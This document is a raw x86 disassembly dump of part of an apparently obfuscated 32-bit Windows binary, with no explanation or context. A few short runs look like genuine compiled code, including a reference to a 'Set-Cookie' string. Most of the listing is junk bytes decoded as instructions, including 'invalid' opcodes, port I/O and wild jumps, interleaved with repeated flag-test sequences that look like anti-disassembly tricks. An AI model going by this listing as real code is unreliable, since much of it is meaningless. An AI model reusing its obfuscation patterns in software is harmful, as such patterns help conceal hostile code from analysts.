call 0x70ff7f2f
inc esp
mov bx, bp
cmpsb byte [esi], byte es:[edi]
jge 0x10084982
mov esi, 0xecc52d7
mov es, word [eax + ebx*2]
jae 0x100849c1
lds edx, [ecx + 0x5e688eff]
test byte fs:[edx + 0x5fffccc7], ah
cmpsd dword [esi], dword es:[edi]
pop ecx
fcom qword fs:[0x3ff3b059]
adc byte [edi], dl
mov ch, 0x2a
ja 0x10084aa4
popfd
cmp byte [ecx], al
mov edx, 0xd327e9d1
mov esp, 0xfa40f9f7
cdq
jnp 0x10084a63
fucom st(3)
sub eax, 0x951f6db3
sub byte [edx - 0x6f], dh
xchg ecx, eax
xlatb
jg 0x10084a95
mov ebp, 0x375fcb8d
out 0x59, eax
xchg byte [0xd83a7276], dh
je 0x10084a0f
test bh, ah
mov edi, 0x1815c593
xlatb
mov bl, 0x7a
add bh, dl
inc esp
arpl word [edi - 0x590451ca], cx
sti
cmpsb byte [esi], byte es:[edi]
stc
ror dword [edx], 1
das
jno 0x10084a41
fbld tbyte [esi]
popfd
je 0x10084db0
cmp dword [esi + 0x14], 0x10
jb 0x10084b95
mov ecx, dword [esi]
jmp 0x10084b97
xor byte [eax + 0x12], dl
jmp dword [ebx + 0x57]
push esi
salc
mov bh, 0x71
outsd dx, dword [esi]
mov dl, 0x66
salc
cli
cli
lahf
cmp dword [eax - 0x18], 0xffffffeb
aam 0xf5
mov bl, 0x83
pop esi
pop ebx
pop ebx
rcr bh, 1
dec esi
pop ecx
stc
xor al, 0xf3
popfd
jge 0x10084a9b
insd dword es:[edi], dx
into
shl ah, 0xce
mov byte [edx], 0x59
push cs
or al, 0x62
sub esi, dword [eax + 0x63]
fidiv word [esi]
xlatb
cmp al, 0x90
xchg esi, eax
add ah, byte [0xca32924]
mov ebp, 0xa66e0a28
sub eax, 0xbfac5466
mov esi, 0x7b3da552
lodsb al, byte [esi]
pop es
arpl word [ecx + 0x46], bp
cwde
jbe 0x10084b43
salc
pop esi
insb byte es:[edi], dx
inc edx
xchg ebp, eax
mov eax, dword [0x8e05433f]
pop esp
sal byte [ebp + 0x26], 0xc1
fsubr qword [esi]
and eax, 0x787c9baf
test cl, cl
lea edi, [ebx]
lodsb al, byte [esi]
in eax, dx
or bl, byte [edx]
int 0xc1
cld
out 0x2d, al
inc ecx
mov eax, dword [ebp + 0x1e07a072]
push ds
dec ebp
mov cl, 0x46
test al, 0x29
loop 0x10084aae
cmpsd dword [esi], dword es:[edi]
imul esp, dword [ebx + 0x29f29021], 0xd503daca
aad 1
stc
mov ebp, esi
sub byte [eax + 0x1d], ch
mov al, byte [0x4e797a9e]
test eax, 0x766eba5f
mov al, byte [0xf6d285fa]
sar byte [ebp + 0x6dd82898], 1
sub al, bl
insd dword es:[edi], dx
dec edi
sbb ecx, dword [edi + 0x7b]
cmp dword [eax + 0xaa32c02], ecx
push ebx
sub eax, 0x4a7ad965
push esi
inc ebx
mov byte [ebp - 0x2c89f228], dl
push esp
xchg esp, eax
lodsd eax, dword [esi]
shr dword [edi - 0x72e1ce85], 0x5b
jno 0x10084b15
pop ebx
pop ebp
push esp
dec esi
and byte [ecx], ch
int 0xe9
and edi, dword [edi + 0x17eb74bd]
jle 0x10084bc9
in al, 0x67
push 0xffffffffffffffaa
adc dword [edi], 0xffffffb4
sub esp, edx
push 0xfffffffffffffff1
loop 0x10084bee
int1
mov esp, 0x7764843c
dec ebp
mov dl, 0x79
pop ds
aas
cdq
mov ch, 0x1e
jbe 0x10084b82
popfd
mov ecx, esi
mov eax, dword [ebp - 0xcb8]
pushfd
test byte [0x10084bb9], 0xd9
jne 0x10084bba
cmp ch, byte [bp + si + 0x4f]
dec ebp
mov dh, 0xff
mov esi, 0x5d199e48
xor eax, dword [ebp + 0x36]
pop edi
imul dword [esi + 0x1a]
popfd
cmp dword [eax + 0x14], 0x10
jb 0x10084c82
mov eax, dword [eax]
pushfd
test byte [0x10084c80], 0xd7
add eax, 0x10084c80
xlatb
jne 0x10084c81
fstp xword [edx + 0x4cfe83bd]
test al, 0x14
scasb al, byte es:[edi]
sbb byte [ebx + 0x16], dl
push 0xc86a0f0
in eax, 0xb5
jo 0x10084b6e
push esp
pop ecx
jae 0x10084b81
xchg edx, eax
bound edi, qword [0x12ecc012]
and dword [ebx - 0x2a], esp
loopne 0x10084c11
fbld tbyte [esi + esi*4 - 0x6eaded11]
popfd
inc esp
cmp dword [eax - 0x20f28b5e], 0xc98fb81d
mov edx, 0x84a5cc8b
xor byte [0x19c5bd87], dl
test byte [eax], dh
adc eax, 0x19c5bd87
lds ebx, [ecx]
dec ebx
arpl word [ecx - 0x5417237e], bp
call 0x5ada99
xchg edi, eax
sal dword [edx + 0x47e20434], cl
je 0x10084c56
call 0x9e7e34cd
push edx
invalid
jge 0x10084c7e
mov ecx, dword [ebp + 0x720eaa29]
push edi
or al, 0x1c
cmp bh, al
xchg ebx, eax
xchg dword [esi], ecx
jl 0x10084c16
push 0x9d71025f
sti
mov ebp, 0xc00db7d2
fnstenv [eax - 0x65e5512a]
int 0x60
inc esp
xor ecx, 0xfb59b49c
mov ah, 0x59
sti
arpl word [esi - 0xc], di
xor bh, byte [ebp + 0x30afd8d2]
inc eax
rol byte [esi - 0x43], 1
mov ch, 0xd0
int 0x5c
mov dl, 4
push fs
movsb byte es:[edi], byte [esi]
push ds
inc esi
jb 0x10084c1d
mov eax, dword [0x71683bdc]
out dx, al
or dword [ebp + 0x3d], ecx
fisub dword [edi]
cmp eax, 0x519d27da
popfd
push ecx
push eax
call fcn.1011f079
neg eax
sbb al, al
inc al
add bh, dh
fcomp dword [edx]
sar dh, 0xc0
pop ecx
pop ecx
jne 0x10084c99
mov byte [ebp - 0xcb1], bl
add dword [ebp - 0xcb8], 0x1c
add esi, 0x1c
cmp esi, dword [ebp - 0xc4c]
jne 0x10084a75
cmp byte [ebp - 0xcb1], bl
pushfd
test byte [0x10084d7b], 0xc6
je 0x10084d7c
invalid
dec ebx
mov edx, 0x66a62fa8
sal edx, cl
imul edx, dword [esp + eax*2], 0xffffff84
mov al, 0xc6
jae 0x10084cb3
or al, 0xb4
add dword [edx + 0x1ff8da0d], eax
jae 0x10084c88
pop esi
fmul qword [edi - 0x6a594728]
xchg ebx, eax
dec eax
xchg ebx, eax
pop edi
cwde
add dword [edi], edx
inc ebx
fimul word [ecx - 0x6e]
div ecx
xor ebp, ebx
push edx
adc bh, cl
mov ecx, 0xf0bf06d2
adc ebx, dword [edx - 0x77]
xchg ebx, eax
out dx, eax
push eax
fadd qword [ebx + 0x4b]
mov dword [edi], esi
adc bl, byte [edx + 0x30b11a6b]
push 0x9bb6410f
jge 0x10084d1e
sub dword [ecx + 0x7fd05288], ebx
out dx, al
xor al, 2
clc
and al, 0xf
bound esi, qword [ebp + 0x6d]
sbb byte [ecx], bh
and al, 0x3c
mov al, 0xd
sub ah, byte [esi]
movsb byte es:[edi], byte [esi]
test dword [0x33d32e06], 0xac0266d9
or esi, dword [esi + 0x23]
inc edx
leave
arpl word [ecx], bp
out 0x8f, al
xchg edx, eax
test byte [edi - 0x445bb119], ah
arpl bp, cx
xchg byte [esi - 0x6e], al
sar byte [esp + 0x768ce9ba], 0x31
cwde
pop esi
xchg byte [edi - 0x10fa3cb8], dh
mov ecx, 0x34c5092f
dec edi
insd dword es:[edi], dx
sar byte [bx + si - 0x2d], 1
out 0xd4, eax
jecxz 0x10084dce
mov esi, 0x57a671fe
aas
xchg esi, eax
mov dword [0x4870eeef], eax
push esp
mov esp, 0x181e07bb
invalid
popfd
jne 0x10084db0
mov eax, dword [ebp - 0xcb8]
mov esi, dword [ebp - 0xc50]
cmp eax, dword [ebp - 0xcd4]
jne 0x1008487d
jmp 0x10084da8
push esi
lea ecx, [ebp - 0xcd8]
call fcn.1007a294
add esi, 0x1c
cmp esi, dword [ebp - 0xc4c]
jne 0x10084d99
mov esi, dword [ebp - 0xce8]
lea ecx, [ebp - 0xc50]
cmp esi, dword [ebp - 0xce0]
jae 0x10084f44
invalid
invalid
pushfd
test byte [0x10084ec4], 0xcd
adc ch, cl
jne 0x10084ec5
add al, 0xd4
adc ebx, dword [esi - 0x69b02beb]
fsubr dword [edx]
dec ebp
push ss
push esi
je 0x10084e30
jecxz 0x10084d6b
sbb al, 0xe2
jl 0x10084dbf
lds esp, [edx + 0x34]
xor dword [ebx + 0x57a1cdac], 0xffffffd8
push es
jno 0x10084dbb
mov byte [esp + eax], ch
cwde
cmpsd dword [esi], dword es:[edi]
dec edi
cmc
rcr dword [edx], cl
pop edi
stc
and bh, byte [edi - 0x5e]
inc ecx
cdq
aas
std
adc ebp, esi
mov dl, byte [esi]
mov ebx, 0x2a739ba0
rcr ch, 0x98
fdivrp st(0)
sub al, 0xb
mov edx, 0x3870157e
inc eax
in al, 0x7e
loop 0x10084db6
mov esp, 0x9c621b9a
js 0x10084e5b
sbb al, 0xf0
xor eax, dword [edx]
cmp edi, esi
push cs
cmp ah, byte [0xc2966b6e]
jle 0x10084e46
mov al, 0xae
sbb al, 0x72
sbb cl, byte [edi]
pop ecx
inc ebp
mov edi, dword [eax + 0x78]
daa
fimul word [edx + 0x5d]
jb 0x10084e72
jno 0x10084e25
dec ecx
jno 0x10084de9
bound ebx, qword [edi + 0x4f445f9]
das
xchg ebp, eax
push esi
out 0x4a, al
dec edx
dec edx
dec ecx
inc edi
mov es, word [edx]
add byte [esi + 0x34], bh
ficom dword [eax]
je 0x10084e4f
sbb byte [esi], 0x2a
xor al, 0xba
push cs
into
imul esp, dword [eax - 0x107e715a], 0xffffff98
outsd dx, dword ss:[esi]
mov es, word [ecx + 0x6f3698ef]
push cs
in al, 0
adc byte [eax + 0x34], dh
push edx
dec edi
xor byte [ebx + edx*8 + 0x6db6d16f], ch
into
leave
cld
movsd dword es:[edi], dword [esi]
push 0xffffffffffffffa9
lahf
pop ebx
int3
rol byte [ebx + 0x447f5716], 0xfd
pop ds
sub byte [ebx + 0x471578b6], 0xf1
mov dl, 0xff
push ebp
popfd
mov byte [ebp - 4], 0xd
call fcn.100790d4
pushfd
test byte [0x10084f3d], 0x86
jne 0x10084f3e
cmp dword [ebx + 0x342f0073], 0xffffff9b
dec esi
out dx, eax
nop
pop es
inc esi
dec eax
sahf
mov edi, 0xd4451b4a
sub byte [edx + 0x60], ah
ror byte [ecx + 0x68baae21], cl
mov edi, 0x40908ab8
inc esi
jb 0x10084eb3
jo 0x10084f5c
loopne 0x10084f34
sub ebp, edx
inc ecx
inc ebp
xor byte [edi], dl
sub esi, dword [eax + 0x378e1c7b]
clc
fistp dword [ebp + 0x5f]
fsub dword [esi]
sub bl, byte [eax - 0x65]
sub eax, 0xf97ae8f8
add esi, dword [ebx + 0x2f2a3da5]
adc dword ds:[esi + 0x53], ebx
push ds
aas
ror cl, 1
or ch, byte [ebx]
inc ebp
cmpsd dword [esi], dword es:[edi]
salc
aad 0x5e
mov dh, byte [eax]
lea ebx, [edi]
add al, 0x2f
scasd eax, dword es:[edi]
out 0x1d, al
adc al, 0xd3
mov cl, 0x7b
cwde
popfd
jmp 0x10084128
call fcn.100790d4
push dword [ebp - 0xcf0]
call fcn.10121f24
pop ecx
lea ecx, [ebp - 0xd4c]
call fcn.1005eb20
lea ecx, [ebp - 0xd20]
pushfd
test byte [0x10084fa2], 0x71
jne 0x10084fa3
rcr byte [ebx - 0x72720003], 0xe0
invalid
and al, byte [ebx + 0x62]
mov al, byte [0xf1fef5cc]
dec esi
sub edi, dword [ecx + 0x4b03d887]
xchg edx, eax
insb byte es:[edi], dx
in al, 0x93
mov bh, 0x56
cdq
sar dword [ebx - 0x5318e7b3], 0x45
xchg esi, eax
or al, 0xb3
and esi, ecx
out 0x52, eax
lahf
fadd dword [esi - 0x246c9eda]
xchg ebp, eax
and al, byte [ecx - 0x3831ffdf]
popfd
mov byte [ebp - 4], 3
call fcn.1005cc6e
mov eax, dword [ebp - 0xcd4]
sub eax, dword [ebp - 0xcd8]
pushfd
test byte [0x100850a8], 0xe2
jne 0x100850a9
call 0x83588fce
aaa
push ebp
dec ebp
mov bl, byte [0xde468602]
stc
push ss
dec ebx
jl 0x10084f80
movsd dword es:[edi], dword [esi]
push ebx
outsb dx, byte [esi]
rcl dword [edx + 3], 0x1e
cmpsb byte [esi], byte es:[edi]
cmp ah, dh
sbb edx, dword [ebx]
mov dword [edi - 0x30], esp
je 0x10085005
push ebp
adc esp, ebx
push edx
popal
int3
lds edi, [ecx + 0x4b8aa6f0]
insb byte es:[edi], dx
dec ebx
rcl edx, 0xf1
mov eax, dword [0xa82ac07d]
or edx, dword [esi]
or eax, 0xc4680a0e
jne 0x10085091
cmpsb byte [esi], byte es:[edi]
xor edx, ebx
xchg dword [eax + 0x6db5401b], ecx
xlatb
dec edx
pop ss
dec ebp
popal
dec esp
xchg edi, eax
adc byte [eax + ebp*8 + 0x9f52ec], 0x9e
int1
mov esi, 0x95d0100c
out dx, eax
loop 0x100850a3
xchg edx, eax
or eax, 0xa977d997
movsb byte es:[edi], byte [esi]
add ch, dl
lodsb al, byte [esi]
inc ebx
and eax, 0xdb777ca4
adc dword [eax - 0x55], 0x32ea8cda
mov eax, 0xe609fbfc
adc eax, 0xb8a006fa
ja 0x10085036
mov bh, 0xd
sub dword [eax], esi
imul esi, ebx, 0x3485dc01
and bl, byte [edi + 0x5455130]
xor dword [ecx], esi
lds edx, [esi + edi*4 - 0x65]
aad 0xdd
sar byte [ebp - 0x25], 6
out 0xda, eax
cld
push ss
push edi
cmp eax, 0xb99e6e3e
adc byte [0xb308661f], dh
xchg ecx, eax
pop edi
fstp dword [ecx]
cmp eax, 0xaa869a0d
sbb dword [0xaa869a0d], edi
pop esp
inc edx
scasd eax, dword es:[edi]
in eax, dx
sub edi, dword [ebx - 0x76]
push edx
jnp 0x100850b3
mov ch, 2
xor eax, 0x5eff08b2
add dh, byte [0x5eff08b2]
popfd
push 0x1c
cdq
pop ecx
idiv ecx
test eax, eax
je 0x100851de
test byte [esi], ah
add dword [eax], eax
add byte [edx - 1], ch
push 0xffffffffffffffff
push ebx
push dword [ebp - 0xcd8]
lea ecx, [edi + 0x19c]
call fcn.10004b88
pushfd
test byte [0x100850dc], 0xd4
jne 0x100851dd
mov dl, byte [esi - 0xd]
push ebx
stosb byte es:[edi], al
test byte [edi - 0x5e], ah
inc esp
rol bh, cl
mov esp, 0xb0212df3
inc edi
pop eax
cmp eax, dword [edx - 0x62]
fmul st(1), st(0)
or eax, 0x2f884eb0
dec esi
mov byte [edi], ch
or eax, 0x3a816dbc
insd dword es:[edi], dx
xchg edx, eax
or bl, byte [edi + edi*8]
xchg byte [edi + 0x6e], dh
cmp cl, byte [ebx + 0xf0a781c]
std
dec ebp
push ds
mov dh, 0x6b
std
mov cl, 0x60
popal
adc al, 0x9d
fisubr dword [eax - 0x6f]
bound esp, qword [ebx - 0xcaa7c86]
out dx, al
adc dword [ebp - 0xd], 0xffffffee
xchg dword [ecx - 0x17], ebp
mov al, 0x7d
push ecx
mov eax, dword [0x76d897ac]
push 0x2553b79c
nop
out dx, al
cmpsd dword [esi], dword es:[edi]
lodsd eax, dword [esi]
out 0xf, al
std
adc eax, 0x3b614dce
mov dword [ebp + 0x64], edi
mov byte [ebp - 0x4ac9a42d], ch
xchg esp, eax
cmpsb byte [esi], byte es:[edi]
sub al, 0x1b
js 0x10085111
and bh, byte [edi - 0x68084359]
cld
fmul dword [0x7192601]
popfd
cmp edx, edx
push ss
in al, 0xc0
sbb bh, byte [edi]
outsb dx, byte [esi]
cdq
jnp 0x100850f5
outsd dx, dword [esi]
das
push 0xffffffffffffffbf
ja 0x1008511c
rcr dword [ebx + ebp*8], 1
add ebp, edx
int1
out 0x5f, al
push ebx
in al, 0xfb
aaa
call 0x9eda37e9
pop edx
mov cl, 6
cmp al, 0x14
jl 0x10085166
stc
cdq
sahf
pop ds
or eax, 0xe69c7bf
pop ds
xchg ebp, eax
imul ebx, dword [eax], 0xa9153089
mov eax, 0x1b624094
pushal
salc
xchg ecx, eax
into
xchg esp, eax
cmp eax, ebp
add bl, byte [esi + 0x37]
imul eax, edi, 0xd1b85141
mov ebx, 0x6a8aa185
add byte [ecx], cl
push edx
ror esp, 1
pushal
insb byte es:[edi], dx
shl dword [esi], cl
setp byte [edx - 0x27]
push 0xf490df17
scasb al, byte es:[edi]
and byte [ecx - 0x295630c7], bh
dec eax
add dword [edx - 0x13], esp
and edi, dword [ecx]
mov dh, 0x80
mov al, 0x6a
jae 0x100851da
mov eax, dword [0x1be9e97b]
xor al, byte [eax]
sbb esi, dword [edx]
add byte [ebp + 0x14749cbe], bl
adc byte [esi - 0x64], dl
popfd
mov esi, str.Set_Cookie:_b.__n
push esi
pushfd
test byte [0x100851fe], 0xb8
jne 0x100852ff
adc byte [eax + 0x10d850f], bh
add byte [eax], al
rcl byte [esi - 0x57], cl
inc esi
push ebx
sub cl, dh
mov esi, 0x222582b8
into
xor dword [edi + 0x2d825fa2], ebp
xchg dword [ebp + ecx*2 - 0x35], edx
add al, 0xc5
sbb edx, edi
popal
pop ecx
neg byte [esi - 0x67a27bb1]
and dword [ebp - 0x18c66608], ebp
scasd eax, dword es:[edi]
lodsd eax, dword [esi]
inc eax
push esi
inc edi
adc eax, 0xcd477cbe
mov es, word [esi - 0x15]
jge 0x100851d2
xchg ebx, eax
and eax, 0xe6995f00
mov eax, 0x19b6c9e8
leave
mov dh, 0x19
pop ecx
test dword [eax + 0x41], 0x8ebc3824
in eax, dx
xchg ebx, eax
mov dword [0xba4cfc40], eax
push ebp
jbe 0x100852a1
lds edi, [esi + 0x1a4ec836]
movsd dword es:[edi], dword [esi]
loop 0x10085232
dec byte fs:[edi - 0x50]
int 0x8b
xor eax, 0x3cf24e12
push esp
das
fidivr word [ebp + 0x46c1b4ba]
dec ebx
jge 0x100851ea
in eax, dx
imul ebp, dword [ecx + 0x18], 0x74
sbb ebx, dword [esi]
pop es
pop eax
adc dword [eax + 0x2c284060], 0xa62a3a0d
add al, 2
dec ebx
cwde
pushal
inc eax
sub byte [ecx + 0x4a62a3a], ch
add cl, byte [ebx - 0x68]
dec esi
pop edx
fstp dword [edx + ebp*8 - 0x4dee9fbb]
out dx, al
movsb byte es:[edi], byte [esi]
jle 0x10085272
jle 0x100852ab
jae 0x1008530d
cmp dword [edi + 0x4e], ecx
leave
pop edx
fmul dword [ebp - 0xb5b7634]
dec ecx
pushfd
rol edx, 1
cmp byte [esi + ebp*8], dl
inc ebx
scasb al, byte es:[edi]
dec ebp
cwde
push eax
mov ebp, 0x57169b93
adc ah, byte [ebp + esi + 0x37a70e43]
mov bl, 0xd3
push ds
push ds
out 6, al
mov dl, 0x26
adc ah, bl
xchg ebp, eax
xlatb
inc edi
add byte [eax + 0x1e], dl
push 0xffffffffffffffcd
sbb byte [ebx + edx*2 + 0x6581812b], al
mov bh, byte [ebp + 0x3fc92657]
cmp cl, byte [esi + edi - 0x3bbb26d1]
lodsb al, byte [esi]
dec edi
movsb byte es:[edi], byte [esi]
dec eax
mov dh, 2
push eax
xor eax, 0xf8ae8830
mov edi, 0x73e64463
inc esp
lahf
nop
pop ecx
cli
push eax
cmp dword ss:[eax + 0x42], eax
pop esp
push cs
mov bl, byte [edx]
cmpsd dword [esi], dword es:[edi]
clc
std
salc
and eax, dword [ecx + 9]
popfd
call fcn.1011d740
pop ecx
push eax
pushfd
test byte [0x100853b6], 0x4d
jne 0x100853b7
adc byte [ebp + 0xf], cl
test dword [edx + 0x26000000], esp
mov byte [bp + si], bl
mov byte es:[bp + si], bl
int 0xa7
aad 0x33
push ecx
movsd dword es:[edi], dword [esi]
xchg esp, eax
add eax, 0x4a9ada16
mov dword [eax - 0x7d882d9c], eax
mov eax, dword [0x7d7bc13f]
mov esi, 0x4174cca3
stosd dword es:[edi], eax
jae 0x10085377
cmp al, byte [esi]
or dword [edx + esi*4 - 4], edx
cld
pop edi
test byte [esi + 0x540c96ad], 0x2c
or cl, dh
sahf
dec ebx
mov byte [edi + 0x712d30f1], bh
pop edi
pop es
or dh, byte [edi]
je 0x10085365
cwde
or byte [edx], al
cld
or bh, bl
mov ah, 0x93
leave
lodsb al, byte [esi]
sub al, 0x8b
push 0xffffffffffffffc5
mov dword [0xd6a73d64], eax
pop eax
mov edx, 0x71dca0b4
mov dword [0x4d25dcfa], eax
mov cl, 0x72
sub al, 0x13
insb byte es:[edi], dx
stc
inc ebp
cmp eax, 0xba58d6a7
mov ah, 0xa0
fdiv qword [ecx - 0x5d]
cli
fsub qword [0x2c72b14d]
adc ebp, dword [ecx + edi*8 + 0x45]
test al, 0x1e
sbb eax, edx
das
jnp 0x1008533d
insb byte es:[edi], dx
salc
sbb byte [ecx], dh
xor byte [0x8b36712c], bl
in al, dx
mov ah, 0x3a
cmp byte [ebx + 0x74dd4f48], ch
add ebx, ebp
xor dword [edi + eax*2], 0x658e96a9
add bh, 0x63
add bh, 0x63
jno 0x1008539e
xchg ebx, eax
ja 0x100853eb
jg 0x10085338
xlatb
mov edx, 0x9fc72a69
inc esi
in eax, dx
cwde
test byte [edx + 0x77], ch
popfd
push esi
lea ecx, [ebp - 0xc78]
call fcn.10005303
push dword [ebp - 0xcd4]
lea eax, [ebp - 0xce0]
push dword [ebp - 0xcd8]
lea ecx, [ebp - 0xcd8]
push eax
pushfd
test byte [0x1008540b], 2
je 0x1008540c
rcr byte [ecx + 0x56], cl
pushfd
out 0x18, eax
and dl, byte [esi]
cmp bl, cl
mov esp, dword [ebp + 0x6f]
cwde
lodsd eax, dword [esi]
dec ebp
mov ebx, 0x1c584af2
pop ebp
jbe 0x10085435
cmpsb byte [esi], byte es:[edi]
test eax, 0xcefd9e80
lodsd eax, dword [esi]
adc al, 0
insd dword es:[edi], dx
inc ecx
popfd
call fcn.10078ae1
cmp dword [ebp - 0xc68], ebx
jbe 0x10086a69
mov esi, dword [ebp - 0xcc4]
cmp dword [esi + 0x10], ebx
jbe 0x10086a69
pushfd
test byte [0x1008543a], 0xbc
jne 0x1008543b
pushal
jns 0x10085476
scasd eax, dword es:[edi]
popfd
lea ecx, [ebp - 0xd24]
call fcn.1005ee46
cmp dword [ebp - 0xc64], 0x10
mov eax, dword [ebp - 0xc78]
mov byte [ebp - 4], 0x10
jae 0x10085460
lea eax, [ebp - 0xc78]
push ebx
pushfd
test byte [0x10085502], 0xae
jne 0x10085503
daa
lds edi, [edi + 0x419effc9]
dec ebp
jb 0x100854e1
popal
int3
invalid
mov bh, 0x82
push esp
fisub word [esi]
xchg ebx, eax
jl 0x10085507
rsqrtps xmm7, xmmword [ebx]
clc
in al, 0xdb
pop edi
sti
not dword [ebx - 0x67b99246]
push eax
jge 0x100854cc
mov ch, 0xde
mov ecx, 0xf14a77b4
out 0xe, al
popfd
push eax
lea ecx, [ebp - 0xd24]
call fcn.100714b9
cmp eax, ebx
je 0x10085524
fdivr st(2), st(0)
invalid
lea ecx, [ebp - 0xd20]
call fcn.1005cc6e
jmp 0x10086a69
mov eax, dword [esi + 0x10]
inc eax
push eax
call fcn.100d04fd
mov edi, eax
mov eax, dword [esi + 0x10]
pop ecx
pushfd
test byte [0x100855c8], 0xfb
jne 0x100855c9
inc esp
pop es
int3
popfd
lea ecx, [edi + eax]
mov dword [ebp - 0xcf0], edi
mov dword [ebp - 0xce0], ecx
cmp edi, ebx
je 0x10085514
lea esp, [eax]
invalid
and bl, dh
invalid
cmp dword [esi + 0x14], 0x10
jb 0x100856a4
pushfd
test byte [0x100856a0], 0x59
jne 0x100856a1
test al, 0
add byte [eax], al
mov al, byte [0x4ff9c245]
jae 0x100855d5
mov ebx, 0x6af69180
push esi
pop esi
push edx
lds esp, [edx - 0x292a1dba]
dec ebp
daa
cli
pop edx
in al, 0xa0
push cs
lodsd eax, dword [esi]
sbb byte [ecx - 0x5a], al
inc esp
cld
jns 0x100855d4
inc esi
mov ebx, 0x469ea5a4
scasd eax, dword es:[edi]
bnd jne 0xdc9697e3
mov edx, 0xe6204e27
aaa
xor al, 0x74
inc ebp
mov al, 0x80
pop ebp
pushfd
jb 0x1008565e
mov al, byte [0x71a95e9e]
psrad mm0, qword [edi + 0x13]
or al, 0xba
aam 0x1b
or cl, byte [edx - 0x533b5e65]
jne 0x10085658
mov ecx, 0xc4f80d19
push 0x5b11f181
adc dword [ebx + 0x31], ebx
fistp dword [esi + 0x16d92e36]
xor ebx, ebx
sahf
fst dword cs:[esi]
fst dword cs:[esi]
push ss
insb byte es:[edi], dx
mov ecx, dword [edi - 0x4f63ea4a]
xchg ecx, eax
outsb dx, byte [esi]
pop esp
mov esi, dword [eax - 0x13]
cmp al, 0xc1
aas
jnp 0x100855f5
and ebx, edi
add ah, byte [ecx - 0x3ec6f65e]
dec eax
mov byte [ebx + 0x16], cl
jle 0x1008565a
sal byte [eax], cl
jecxz 0x10085662
push 0xffffffffffffffba
inc esi
jo 0x100856f5
lodsd eax, dword [esi]
xchg ecx, eax
xchg ebx, eax
mov ebx, 0x3785a92a
pop ss
xchg dword [edi], edi
das
cmp dword fs:[edi], ebp
adc al, 0xce
or byte [edx + 0x6d], dh
mov dl, 0xf0
popfd
mov esi, dword [esi]
push esi
inc eax
push eax
push edi
call fcn.1012231c
add esp, 0xc
push 0x100
lea ecx, [ebp - 0xd4c]
call fcn.10060f5c
pushfd
test byte [0x100856dd], 4
jne 0x100856de
std
call [esi + esi*8 + 0x856dd05]
adc byte [esi*2 + 0x1aae3814], al
ret
cmp byte [esi - 0x5b3c3ce6], ch
loopne 0x100856be
stc
jg 0x10085711
jne 0x10085718
xchg dword [edi - 0x63850948], ecx
popfd
mov byte [ebp - 4], 0x11
mov esi, edi
mov dword [ebp - 0xce8], ebx
lea eax, [ebp - 0xce8]
pushfd
test byte [0x10085713], 0x8a
jne 0x10085714
push edi
or byte [eax], dl
mov dh, byte [ebp + 0x19]
cmp eax, 0x6bd2fd35
rcl byte [edx - 0x64098bb1], cl
out dx, al
pop edx
add al, 0x64
adc ebp, dword [edx + 0x5a]
mov ch, 8
adc cl, byte [edi + eax*4]
pop esi
stc
xchg dword [esi - 7], ebx
popfd
push eax
lea eax, [ebp - 0xd4c]
push eax
push esi
lea ecx, [ebp - 0xd24]
call fcn.100650dc
cmp eax, ebx
je 0x10085f75
mov ah, 0xf2
invalid
mov dword [ebp - 0xcc4], ebx
pushfd
test byte [0x100857cd], 0x8b
jne 0x100857ce
xor dword [edx], edx
insb byte es:[edi], dx
mov cl, 0x69
jae 0x10085757
int3
lodsb al, byte [esi]
test esp, eax
out 0x56, al
call 0x85bfad79
invalid
popfd
mov dword [ebp - 0xcec], ebx
mov dword [ebp - 0xc50], ebx
mov dword [ebp - 0xc4c], ebx
mov dword [ebp - 0xc48], ebx
mov byte [ebp - 4], 0x12
xor esi, esi
lea eax, [ebp - 0xcec]
push eax
lea eax, [ebp - 0xcc4]
push eax
push esi
lea ecx, [ebp - 0xd4c]
call fcn.1005ab1f
cmp dword [ebp - 0xcc4], ebx
je 0x100859f8
mov eax, dword [ebp - 0xcec]
cmp eax, ebx
je 0x100859f8
sub eax, dword [ebp - 0xcc4]
lea ecx, [ebp - 0xc94]
push eax
push dword [ebp - 0xcc4]
mov dword [ebp - 0xc80], 0xf
mov dword [ebp - 0xc84], ebx
mov byte [ebp - 0xc94], bl
call fcn.10005303
lea eax, [ebp - 0xc94]
push eax
lea ecx, [ebp - 0xc50]
mov byte [ebp - 4], 0x13
call fcn.1007a294
pushfd
test byte [0x100858a4], 0x25
je 0x100858a5
push ebx
salc
cld
daa
les esi, [edi + 0x46]
and byte [ebp + 0x7f20e609], 0x51
dec eax
sub ch, al
adc eax, 0xd5d402ee
mov ah, bh
xchg edx, eax
dec edi
mov edi, 0x93afebdc
cld
popal
or bl, byte [ebx + 0x379de5fd]
push es
push ebp
cmp al, 0x72
sti
pop es
adc al, 0x87
lahf
stosb byte es:[edi], al
or eax, edx
popfd
push ebx
push 1
lea ecx, [ebp - 0xc94]
pushfd
test byte [0x100858e5], 0xb5
jne 0x100858e6
arpl dx, cx
cmp eax, 0x31ddcb
nop
cmpsd dword [esi], dword es:[edi]
sub eax, 0xfaac816b
pop edx
mov edx, 0x31f7eb5c
push edx
adc al, 0x2a
stosd dword es:[edi], eax
in al, dx
inc esp
and dl, al
jmp dword [edx + 0x61]
outsd dx, dword [esi]
push 0x5daa5a09
aam 0x37
popfd
mov byte [ebp - 4], 0x12
call fcn.10002a9a
inc esi
cmp esi, 1
pushfd
test byte [0x100859f0], 0x52
jne 0x100859f1
push ss
lds edi, [ebx + 0x25]
movsb byte es:[edi], byte [esi]
xchg ecx, eax
ror edx, cl
jno 0x10085931
xlatb
push edx
call 0xe047002e
ja 0x10085950
pop ss
jle 0x10085926
pop ebp
jecxz 0x1008594c
push eax
push ecx
pop edx
pop esp
mov dword [0xcc067fbf], eax
cwde
mov bl, 0x9a
xor dword [ecx + 0x6d08510b], eax
lcall 0x6d08, 0x510b8131
pop eax
outsd dx, dword [esi]
mov eax, dword [0x21207c24]
and al, 0x7c
and byte [ecx], ah
rcl byte [edi + 0x7dd8d584], cl
test eax, 0xc2cdb6eb
cmc
test dword [ebx], ebp
xor dh, byte [eax]
mov ch, 0x7d
pop edi
movsb byte es:[edi], byte [esi]
mov al, byte [0x69e9bbe1]
fpatan
jmp 0xe7fc32ba
xlatb
dec eax
jns 0x100858de
out 0x1c, al
add eax, 0x51ab7b81
dec ecx
enter 0xffffffffffff8cb1, 0x26
outsd dx, dword [esi]
mov dword [edi - 0x1b111c9b], edi
call dword [0x2d530da4]
daa
push ebx
pop es
mov al, byte [0x37a7c6f7]
popfd
or eax, 0x87d44f9f
or al, 0x21
inc esp
adc dword [edx - 0x25], edi
aaa
mov eax, 0xdf817b48
arpl word [esi + 0x7e], si
out dx, eax
into
